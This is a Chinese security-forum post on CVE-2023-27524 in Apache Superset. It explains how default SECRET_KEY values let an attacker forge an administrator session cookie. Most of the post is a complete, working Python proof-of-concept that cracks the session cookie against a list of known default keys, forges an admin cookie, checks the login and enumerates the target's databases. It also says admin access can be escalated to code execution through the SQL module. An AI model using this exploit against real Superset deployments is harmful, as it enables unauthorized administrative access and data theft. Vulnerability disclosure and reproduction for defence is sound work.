问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Apache Superset SECRET_KEY 未授权访问漏洞 CVE-2023-27524
# Apache Superset SECRET_KEY 未授权访问漏洞 CVE-2023-27524 ## 漏洞描述 Apache Superset 是一款现代化的开源大数据工具,也是企业级商业智能 Web 应用,用于数据探索分析和数据可视化...
Apache Superset SECRET\_KEY 未授权访问漏洞 CVE-2023-27524 ================================================== 漏洞描述 ---- Apache Superset 是一款现代化的开源大数据工具,也是企业级商业智能 Web 应用,用于数据探索分析和数据可视化。它提供了简单易用的无代码可视化构建器和声称是最先进的 SQL 编辑器,用户可以使用这些工具快速地构建数据仪表盘。CVE-2023-27524 中,未经授权的攻击者可根据默认配置的SECRET\_KEY伪造成管理员用户访问Apache Superset。 漏洞影响 ---- Apache Superse <= 2.0.1</a-checkbox> 网络测绘 ---- app.name="Apache Superset"</a-checkbox> 漏洞复现 ---- 登陆页面 ![img](https://shs3.b.qianxin.com/butian_public/f65762231a2f694a12efb95731fcda3d406198cfc24e1.jpg) 漏洞修复补丁 ```python https://github.com/apache/superset/pull/23186/files ``` ![img](https://shs3.b.qianxin.com/butian_public/f956820ffebe96a6e1916646081cb31ee1e8fc097e8a7.jpg) 补丁代码中,新建了判断用户是否使用了默认的Key进行配置,如果为默认的Key,就直接中断启动,。但在 Docker的 env 下还是添加了固定的 Key: TEST\_NON\_DEV\_SECRET ![img](https://shs3.b.qianxin.com/butian_public/f2791502bea071f2377c389c117489f5059f25d552201.jpg) ```python # https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py SECRET_KEYS = [ b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1 b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1 b'thisISaSECRET_1234', # deployment template b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation b'TEST_NON_DEV_SECRET' # docker compose ] ``` 这里拿Docker下的环境举例 ![img](https://shs3.b.qianxin.com/butian_public/f466367da8b279bcf917147b8fc226c2e85cf73a2480d.jpg) 初次请求时会获取到 Cookie, 使用默认Key验证 Cookie是否可被伪造 ![img](https://shs3.b.qianxin.com/butian_public/f7667668028245328540e604a811082686ac54f599f5a.jpg) 登陆主页面观察主要参数 ![img](https://shs3.b.qianxin.com/butian_public/f881373450dec82340a1f45f768837e5856a92d8cafa5.jpg) 通过设置参数 user\_id 和 \_user\_id 为 1 ,构造加密Cookie ```python >>> from flask_unsign import session >>> session.sign({'_user_id': 1, 'user_id': 1},'TEST_NON_DEV_SECRET') 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZE51uw.EdD7zSzojgY4keqZLOKR4GndJf8' ``` 利用构造的 Cookie就可以获取到 Web后台管理权限, 后台中存在数据库语句执行模块,通过设置允许执行其他数据库语句后利用数据库语句 RCE ![img](https://shs3.b.qianxin.com/butian_public/f4212397ae36e91d949a9d49c4e82e78cba0e095d581f.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f752677c32fa33f06fc7d850d2541e12ea7b004a12fe6.jpg) 漏洞POC ----- ```python from flask_unsign import session import requests import urllib3 import argparse import re from time import sleep urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) SECRET_KEYS = [ b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1 b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1 b'thisISaSECRET_1234', # deployment template b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation b'TEST_NON_DEV_SECRET' # docker compose ] def main(): parser = argparse.ArgumentParser() parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True) parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1') parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true') parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5) args = parser.parse_args() try: u = args.url.rstrip('/') + '/login/' headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0' } resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False) if resp.status_code != 200: print(f'Error retrieving login page at {u}, status code: {resp.status_code}') return session_cookie = None for c in resp.cookies: if c.name == 'session': session_cookie = c.value break if not session_cookie: print('Error: No session cookie found') return print(f'Got session cookie: {session_cookie}') try: decoded = session.decode(session_cookie) print(f'Decoded session cookie: {decoded}') except: print('Error: Not a Flask session cookie') return match = re.search(r'"version_string": "(.*?)"', resp.text) if match: version = match.group(1) else: version = 'Unknown' print(f'Superset Version: {version}') for i, k in enumerate(SECRET_KEYS): cracked = session.verify(session_cookie, k) if cracked: break if not cracked: print('Failed to crack session cookie') return print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}') try: user_id = int(args.id) except: user_id = args.id forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k) print(f'Forged session cookie for user {user_id}: {forged_cookie}') if args.validate: try: headers['Cookie'] = f'session={forged_cookie}' print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...') sleep(args.timeout) resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False) if resp.status_code == 302: print(f'Got 302 on login, forged cookie appears to have been accepted') validated = True else: print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.') except Exception as e_inner: print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.') if not validated: return print('Enumerating databases') for i in range(1, 101): database_url_base = args.url.rstrip('/') + '/api/v1/database' try: r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False) if r.status_code == 200: result = r.json()['result'] # validate response is JSON name = result['database_name'] print(f'Found database {name}') elif r.status_code == 404: print(f'Done enumerating databases') break # no more databases else: print(f'Unexpected error: status code={r.status_code}') break except Exception as e_inner: print(f'Unexpected error: {e_inner}') break except Exception as e: print(f'Unexpected error: {e}') if __name__ == '__main__': main() ``` ![img](https://shs3.b.qianxin.com/butian_public/f511228c5f44d50da0d7b859c450cef762a7604dc6618.jpg)
发表于 2024-07-12 18:45:31
阅读 ( 1070 )
分类:
Web服务器
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!